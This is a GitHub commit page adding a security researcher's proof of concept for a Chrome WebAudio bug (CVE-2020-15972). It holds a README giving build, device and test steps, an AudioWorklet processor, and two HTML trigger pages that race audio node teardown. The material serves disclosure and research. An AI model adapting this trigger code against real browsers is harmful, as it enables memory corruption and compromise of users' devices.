Skip to content

Commit 65f05a5

Browse files
committed
1 parent 00516ff commit 65f05a5

6 files changed

Lines changed: 413 additions & 0 deletions

File tree

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
## Chrome renderer RCE CVE-2020-15972
2+
3+
The write up can be found [here](https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer). This is a bug in Chrome that I reported in September 2020 that is a duplicate of [1115901](https://bugs.chromium.org/p/chromium/issues/detail?id=1115901) and was credited to an anonymous researcher. The GitHub Advisory can be found [here](https://securitylab.github.com/advisories/GHSL-2020-167-chrome) and the Chrome issue that I filed [here](https://bugs.chromium.org/p/chromium/issues/detail?id=1125635). The bug can be used to escape the Chrome sandbox from a compromised renderer.
4+
5+
The exploit is tested on the 64 bit beta version 86.0.4240.30 of Chrome with the following build config (`args.gn`), although it affected the stable version 85 of Chrome also:
6+
7+
```
8+
target_os = "android"
9+
target_cpu = "arm64"
10+
is_java_debug = false
11+
is_debug = false
12+
symbol_level = 1
13+
blink_symbol_level = 1
14+
```
15+
and build the target `chrome_public_apk`.
16+
17+
The exploit is tested on Samsung Galaxy A71 with firmware version A715FXXU3ATJ2, Baseband A715FXXU3ATI5 and Kernel version 4.14.117-19828683 and also Pixel 4 with AOSP build ID `aosp_flame-userdebug 10 QQ3A.200805.001`. Both runs reliably, although a clean renderer process is needed to launch the exploit, which would be the case when a link is clicked from a logged in site, such as email or twitter. On Pixel 3a, the heap spray is off by one object, so there is probably some degrees of dependencies on devices or OS. (Pixel 3a runs kernel version 4.9, whereas the other 2 devices run kernel 4.14, although when it failed on Pixel 3 it'll most likely just throw an exception instead of crashing the renderer) It is very unlikely that it will work on emulators without modifications to the heap spray.
18+
19+
To test, serve the files in this directory from localhost and open `tear_down_android_rce_release.html` with `chrome://inspect/#devices` on the device in a new tab. (or do the following from the host machine, which works on Pixel 4 but not on Galaxy A71:
20+
```
21+
out/<target>/bin/chrome_public_apk run "http://localhost:8000/tear_down_android_rce_release.html"
22+
```
23+
)
24+
25+
This is the easiest way to ensure that a new renderer process is used for the content (without having to click on it from a logged in context) It should succeed most of the time. When succeeded, The address of a page whose permissioin is overwritten to `rwx` will be displayed. This can then be verified with `adb`.
26+
27+
The file `out2.mp3` in this directory is a blank `mp3` file that can be generated using `ffmpeg` with the following command:
28+
29+
```
30+
ffmpeg -f lavfi -i anullsrc=r=4000:cl=mono -t 0.00675 -q:a 9 -acodec libmp3lame out2.mp3
31+
```
477 Bytes
Binary file not shown.
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
// white-noise-processor.js
2+
function sleep(miliseconds) {
3+
var currentTime = new Date().getTime();
4+
while (currentTime + miliseconds >= new Date().getTime()) {
5+
}
6+
}
7+
8+
class AutoProcessor extends AudioWorkletProcessor {
9+
process (inputs, outputs, parameters) {
10+
sleep(5000);
11+
return true
12+
}
13+
}
14+
15+
registerProcessor('tear-down', AutoProcessor)
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<script>
5+
const inputs = 2;
6+
function sleep(miliseconds) {
7+
var currentTime = new Date().getTime();
8+
while (currentTime + miliseconds >= new Date().getTime()) {
9+
}
10+
}
11+
12+
async function playSourceNode(audioContext) {
13+
let soundSources = [];
14+
let soundSource1 = audioContext.createConstantSource();
15+
soundSources.push(soundSource1);
16+
await audioContext.audioWorklet.addModule('tear-down.js');
17+
let worklet;
18+
worklet = new AudioWorkletNode(audioContext, 'tear-down');
19+
let merger = audioContext.createChannelMerger(32);
20+
soundSources.push(audioContext.createConstantSource());
21+
soundSource1.connect(worklet).connect(merger, 0, 0);
22+
soundSources[1].connect(merger, 0, 1);
23+
merger.connect(audioContext.destination);
24+
for (let i = 0; i < inputs; i++) {
25+
soundSources[i].start();
26+
}
27+
return [soundSources, worklet];
28+
}
29+
30+
function onLoad() {
31+
let audioCtx = new OfflineAudioContext(2,44100, 44100);
32+
playSourceNode(audioCtx).then((src)=>{
33+
34+
for (let i = 0; i < 100; i++) {
35+
audioCtx.createConstantSource().start();
36+
}
37+
38+
audioCtx.startRendering();
39+
sleep(200);
40+
src[1].disconnect();
41+
for (let i = 0; i < src[0].length; i++) {
42+
src[0][i].disconnect();
43+
}
44+
parent.remove();
45+
});
46+
}
47+
48+
</script>
49+
</head>
50+
<body onload="onLoad()"/>
51+
</html>
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<!DOCTYPE html>
2+
<html>
3+
<head>
4+
<script>
5+
const inputs = 1;
6+
function sleep(miliseconds) {
7+
var currentTime = new Date().getTime();
8+
while (currentTime + miliseconds >= new Date().getTime()) {
9+
}
10+
}
11+
12+
async function playSourceNode(audioContext) {
13+
let soundSource1 = audioContext.createConstantSource();
14+
await audioContext.audioWorklet.addModule('tear-down.js');
15+
let worklet;
16+
worklet = new AudioWorkletNode(audioContext, 'tear-down');
17+
let delay = audioContext.createDelay(0.01);
18+
soundSource1.connect(worklet).connect(delay).connect(audioContext.destination);
19+
soundSource1.start();
20+
return [soundSource1, worklet];
21+
}
22+
23+
function onLoad() {
24+
let audioCtx = new OfflineAudioContext(1,44100, 44100);
25+
playSourceNode(audioCtx).then((src)=>{
26+
audioCtx.startRendering();
27+
sleep(200);
28+
src[0].disconnect();
29+
src[1].disconnect();
30+
parent.removeVirtual();
31+
});
32+
}
33+
34+
</script>
35+
</head>
36+
<body onload="onLoad()"/>
37+
</html>

0 commit comments

Comments
 (0)